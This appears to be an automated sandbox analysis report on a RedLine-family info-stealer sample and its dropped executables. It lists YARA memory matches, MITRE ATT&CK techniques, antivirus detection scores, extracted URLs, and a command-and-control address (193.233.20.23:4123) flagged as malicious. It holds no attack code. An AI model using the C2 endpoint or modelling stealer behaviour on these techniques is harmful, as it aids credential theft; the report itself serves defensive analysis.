Source: Yara match	File source: 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.257010194.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: twl97yF91.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uPD30tM82.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	1 Access Token Manipulation	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	3 Native API	Boot or Logon Initialization Scripts	1 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	137 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Software Packing	NTDS	361 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	231 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Rundll32	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
W7ANVukbbj.exe	72%	ReversingLabs	Win32.Trojan.RedLine
W7ANVukbbj.exe	49%	Virustotal		Browse
W7ANVukbbj.exe	100%	Avira	HEUR/AGEN.1252166
W7ANVukbbj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	100%	Avira	HEUR/AGEN.1252166
C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	64%	ReversingLabs	Win32.Trojan.Seraph
C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	77%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate

Unpacked PE Files

Source	Detection	Scanner	Label	Download
14.0.uPD30tM82.exe.2b0000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
0.0.W7ANVukbbj.exe.860000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File
0.2.W7ANVukbbj.exe.860000.0.unpack	100%	Avira	HEUR/AGEN.1252166	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14V	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
193.233.20.23:4123	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id40	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
193.233.20.23:4123	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultP	uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	twl97yF91.exe, 00000001.00000002.326658615.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006060000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.000000000601B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.000000000506B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004F52000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.00000000050F8000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006038000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003819000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000373A000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003911000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000275B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	uPD30tM82.exe, 0000000E.00000002.440661066.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000371D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002A27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14V	uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	W7ANVukbbj.exe, 00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000000.337013680.00000000002B2000.00000002.00000001.01000000.00000008.sdmp, uPD30tM82.exe.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	uPD30tM82.exe, 0000000E.00000002.440661066.00000000036BC000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000371D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000290E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id1Response	twl97yF91.exe, 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004D41000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.0000000002641000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.00000000026CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	twl97yF91.exe, 00000001.00000002.326658615.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EA2000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006060000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.000000000601B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.000000000506B000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.0000000004F52000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005F3C000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.323169357.00000000050F8000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.326658615.0000000006038000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003819000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.000000000373A000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.440661066.0000000003911000.00000004.00000800.00020000.00000000.sdmp, uPD30tM82.exe, 0000000E.00000002.435203327.000000000275B000.00000004.00000800.00020000.00000000.sdmp	false		high
